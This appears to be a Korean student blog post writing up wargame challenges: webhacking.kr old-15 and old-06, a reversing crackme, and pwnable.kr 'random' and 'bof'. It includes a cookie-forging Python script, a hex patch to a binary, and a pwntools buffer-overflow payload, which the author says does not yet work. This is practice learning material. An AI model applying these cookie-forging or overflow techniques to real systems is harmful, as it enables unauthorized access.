[Web]
old 15
들어가자마자 확인되는 화면이다. 확인을 누르면 Webhacking.kr의 메인 화면으로 돌아가게 된다
개발자도구를 확인했으나 아무것도 확인할 수 없었다. 소스코드 확인이 필요할 것 같다.
<html>
<head>
<title>Challenge 15</title>
</head>
<body>
<script>
alert("Access_Denied");
location.href='/';
document.write("<a href=?getFlag>[Get Flag]</a>");
</script>
</body>
wget [웹사이트 주소] 형식으로 입력해서 코드를 다운로드한다.
cat으로 index.html 파일을 읽어보면 document.write("<a href=?getFlag>[Get Flag]</a>");
URl https://webhacking.kr/challenge/js-2/ 주소 끝에 ?getFlag를 입력하면 문제 해결 가능하다.
getFlag로 입력했는데 계속 getflag로만 연결된다.
웹 사이트 주소를 복사해서 연결(ctrl을 누른 상태로 주소 클릭)해준다.
정확한 주소가 입력되면서 해결했다는 메시지가 출력되는 것을 확인할 수 있다.
old-06
view-source로 들어갔다.
이러한 긴 코드들이 있었다. 첫번째 부분 코드는 쿠키값이 없을 때의 코드이다.
문제 화면에 있었던 값인 id : guest와 pw:123qw를 이용해 base64로 인코딩 20번을 한다.
그 결과의 id, pw에 대해 숫자로 되어있는 값을 문자로 각각 바꾸고 그것을 Setcookie로 한다.
두번째 부분 코드는 쿠키가 있을 때 복호화를 한다. 위에서 숫자로 된 것을 문자로 바꿨는데 그것과 반대로 문자를 숫자로 바꾼다.
그런 뒤 base64로 디코딩을 20번 하고 복원한다. 그래서 나온 id와 pw가 admin, nimda 가 돼야 한다. admin 값에 대해 답을 구해야 하니까 base64로 인코딩해주었다. 20번 모두 인코딩 하는 게 힘들어서 python 코드를 짰다.
import base64
def encoding(s):
data = s.encode() # 문자열을 bytes로 변환 -> 컴퓨터가 처리해야하니까
for _ in range(20):
data = base64.b64encode(data) #20번 반복복
return data.decode() #문자열로 전한
def replace(s):
return (
s.replace("1", "!")
.replace("2", "@")
.replace("3", "$")
.replace("4", "^")
.replace("5", "&")
.replace("6", "*")
.replace("7", "(")
.replace("8", ")")
)
enco_admin = encoding("admin")
enco_pw = encoding("nimda")
cookie_admin = replace(enco_admin)
cookie_pw = replace(enco_pw)
print(cookie_admin)
print(cookie_pw)
f12를 통해 user와 password의 이름을 가진 쿠키에 해당 값을 넣어주면 된다.
인코딩 된 값이 너무 길어서 자세한 값은 생략하겠다.
[Reversing]
My Favorite Fruit
좋아하는 과일을 알고 싶어하는 챗봇으로부터 flag를 얻는 문제이다
문제 파일을 받아보면 main 파일 하나만 있는 것을 확인할 수 있다. 기본적으로 어떻게 돌아가는 문제인지 확인하기 위해 IDA를 활용해 열어보았다.
쭉 코드를 살펴보다보면 나에게 어떤 과일을 제일 좋아하는지 묻는 부분이 보인다. 위 챗봇이 내가 좋아하는 과일을 알아내고 싶어한다고 했으니 이 부분이 중요한 부분일 것 같다. 이 부분을 보면 다섯가지 과일에 반응하고 있음을 알 수 있다.(banana, strawberry, erwin, mandarin, melon)
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+8h] [rbp-18h]
char s1[8]; // [rsp+Fh] [rbp-11h] BYREF
char v6; // [rsp+17h] [rbp-9h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v6 = 0;
v4 = 0;
do
{
printf("What is your favorite fruit?\n> ");
__isoc99_scanf("%9s", s1);
if ( !strcmp(s1, "banana") )
{
puts("I also like banana.");
if ( (v4 & 1) == 0 )
{
v4 |= 1u;
sub_11E9("banana");
}
}
else if ( !strcmp(s1, "strawberry") )
{
puts("Strawberries! Great choice.");
if ( (v4 & 2) == 0 )
{
v4 |= 2u;
sub_11E9("strawberry");
}
}
else if ( !strcmp(s1, "erwin") )
{
puts("I never heard of it, but it looks delicious.");
if ( (v4 & 4) == 0 )
{
v4 |= 4u;
sub_11E9("erwin");
}
}
else if ( !strcmp(s1, "mandarin") )
{
puts("It's so sour...");
if ( (v4 & 8) == 0 )
{
v4 |= 8u;
sub_11E9("mandarin");
}
}
else if ( !strcmp(s1, "melon") )
{
puts("I wanna eat it with jamon.");
if ( (v4 & 0x10) == 0 )
{
v4 |= 0x10u;
sub_11E9("melon");
}
}
else
{
puts("Ew, I don't like it.");
}
}
while ( v4 != 31 );
printf("Here is the flag: %s\n", a0);
return 0LL;
}
디컴파일 해줬다. 디컴파일 한 코드이다. 코드를 살펴보면 각 과일을 입력할 때마다 v4에 값이 담기고 그 값이 31이 될 때 while문을 벗어날 수 있는 걸 확인할 수 있다. 반응하는 다섯개의 과일을 모두 입력하면 flag를 얻을 수 있을 것으로 보인다.
vmware를 통해 프로그램을 실행시켜보았다. 다른 과일들은 잘 입력되고 뒤에 붙은 문구가 나오는데 strawberry만 이상이 생기는 걸 확인할 수 있다. 위에 코드를 다시 확인하면 scanf를 9글자까지 받고 있는 것을 확인할 수 있다. 글자 수가 오버되는 strawberry만 오류가 나는 것이다.
HxD를 활용, %9의 9 부분만 00으로 변경해줬다.
다시 실행해주면 올바른 플래그 값을 획득할 수 있다.
[Pwnable]
random
random.c
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xcafebabe ){
printf("Good!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
key의 random 승이 0xcafebabe가 되어야 한다.
*rand 함수: 0~32767 사이의 랜덤한 값을 반환하는 함수, 프로그램 생성될 때 정해지므로 프로그램 계속 실행시키더라도 동일한 값이 나옴
disass main
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000001209 <+0>: endbr64
0x000000000000120d <+4>: push rbp
0x000000000000120e <+5>: mov rbp,rsp
0x0000000000001211 <+8>: push rbx
0x0000000000001212 <+9>: sub rsp,0x18
0x0000000000001216 <+13>: mov rax,QWORD PTR fs:0x28
0x000000000000121f <+22>: mov QWORD PTR [rbp-0x18],rax
0x0000000000001223 <+26>: xor eax,eax
0x0000000000001225 <+28>: mov eax,0x0
0x000000000000122a <+33>: call 0x1110 <rand@plt>
0x000000000000122f <+38>: mov DWORD PTR [rbp-0x1c],eax
0x0000000000001232 <+41>: mov DWORD PTR [rbp-0x20],0x0
0x0000000000001239 <+48>: lea rax,[rbp-0x20]
0x000000000000123d <+52>: mov rsi,rax
0x0000000000001240 <+55>: lea rax,[rip+0xdc1] # 0x2008
0x0000000000001247 <+62>: mov rdi,rax
0x000000000000124a <+65>: mov eax,0x0
0x000000000000124f <+70>: call 0x1100 <__isoc99_scanf@plt>
0x0000000000001254 <+75>: mov eax,DWORD PTR [rbp-0x20]
0x0000000000001257 <+78>: xor eax,DWORD PTR [rbp-0x1c]
0x000000000000125a <+81>: cmp eax,0xcafebabe
0x000000000000125f <+86>: jne 0x12af <main+166>
0x0000000000001261 <+88>: lea rax,[rip+0xda3] # 0x200b
0x0000000000001268 <+95>: mov rdi,rax
0x000000000000126b <+98>: call 0x10b0 <puts@plt>
0x0000000000001270 <+103>: mov eax,0x0
0x0000000000001275 <+108>: call 0x10e0 <getegid@plt>
0x000000000000127a <+113>: mov ebx,eax
0x000000000000127c <+115>: mov eax,0x0
0x0000000000001281 <+120>: call 0x10e0 <getegid@plt>
0x0000000000001286 <+125>: mov esi,ebx
0x0000000000001288 <+127>: mov edi,eax
0x000000000000128a <+129>: mov eax,0x0
0x000000000000128f <+134>: call 0x10f0 <setregid@plt>
0x0000000000001294 <+139>: lea rax,[rip+0xd76] # 0x2011
0x000000000000129b <+146>: mov rdi,rax
0x000000000000129e <+149>: mov eax,0x0
0x00000000000012a3 <+154>: call 0x10d0 <system@plt>
0x00000000000012a8 <+159>: mov eax,0x0
0x00000000000012ad <+164>: jmp 0x12c3 <main+186>
0x00000000000012af <+166>: lea rax,[rip+0xd6a] # 0x2020
0x00000000000012b6 <+173>: mov rdi,rax
0x00000000000012b9 <+176>: call 0x10b0 <puts@plt>
0x00000000000012be <+181>: mov eax,0x0
0x00000000000012c3 <+186>: mov rdx,QWORD PTR [rbp-0x18]
0x00000000000012c7 <+190>: sub rdx,QWORD PTR fs:0x28
0x00000000000012d0 <+199>: je 0x12d7 <main+206>
0x00000000000012d2 <+201>: call 0x10c0 <__stack_chk_fail@plt>
0x00000000000012d7 <+206>: mov rbx,QWORD PTR [rbp-0x8]
0x00000000000012db <+210>: leave
0x00000000000012dc <+211>: ret
End of assembler dump.
+81번째 줄: eax(key ^ random)와 cafebabe 비교하는 구문
→ rand 함수가 끝난 후에 breakpoint를 걸어 random에 어떤 값이 저장되어 있는지 확인해야 한다
# breakpoint
> b *main+38
> run
...
# eax에 들어있는 값 확인
> info reg $eax
eax에는 0x6b8b4567 가 들어있음
→ random = 0x6b8b4567
→ key ^ random = 0xcafebabe 이므로 key = 0xcafebabe ^ random
⇒ key = 0xa175ffd9 이고 int형으로 key 값으로 받고 있기 때문에 2708864985이 최종적으로 key에 들어가는 값이 됨
입력
flag
m0mmy_I_can_predict_rand0m_v4lue!
bof
ssh 접속 후 디렉토리 확인
checksec bof
아키텍처 및 보호기법 확인 → 32비트 아키텍처, 카나리/NX/PIE 적용
cat bof.c
func 함수에 0xdeadbeef 값 넘겨줌
gets 함수를 통해 bof 발생
key 값이 0xcafebabe와 같으면 /bin/sh 실행됨
⇒ bof를 통해 key 값이 들어있는 공간에 적혀있는 0xdeadbeef를 0xcafebabe로 바꿔주면 됨
gdb bof > disass func
0x30(48byte) + 0xc(24) = 72byte 공간 할당
ebp - 0x2c 만큼(44byte) 함수 실행 인자 공간 할당 → ebp - 0x2c의 위치가 overflowme[32] 시작 주소
ebp+0x8의 위치에 0xcafebabe 들어가 있음
⇒ ebp - 44부터 ret 까지 덮고 key값을 0xcafebabe로 변경
payload 작성
*ssh 서버 안에서 vim 작성 안 됨
from pwn import *
p = remote("pwnable.kr", 9000) ->
payload = "A"*52 + "\xba\xbe\xfe\xca"
p.sendline(payload)
r.interactive()
→ 근데 지금 안 됨… 이 문제 관련 찾아보고 있으나 추가 학습 필요
'4-1. 2025-1 심화 스터디 > 워게임 도장 깨기' 카테고리의 다른 글
250527 워게임 도장깨기 (0) | 2025.05.30 |
---|---|
250520 워게임 도장깨기 (0) | 2025.05.27 |
[3주차] 250401 워게임 도장 깨기 (0) | 2025.04.02 |
[2주차] 250326 워게임 도장 깨기 (0) | 2025.03.26 |
[1주차] 250318 워게임 도장 깨기 (1) | 2025.03.21 |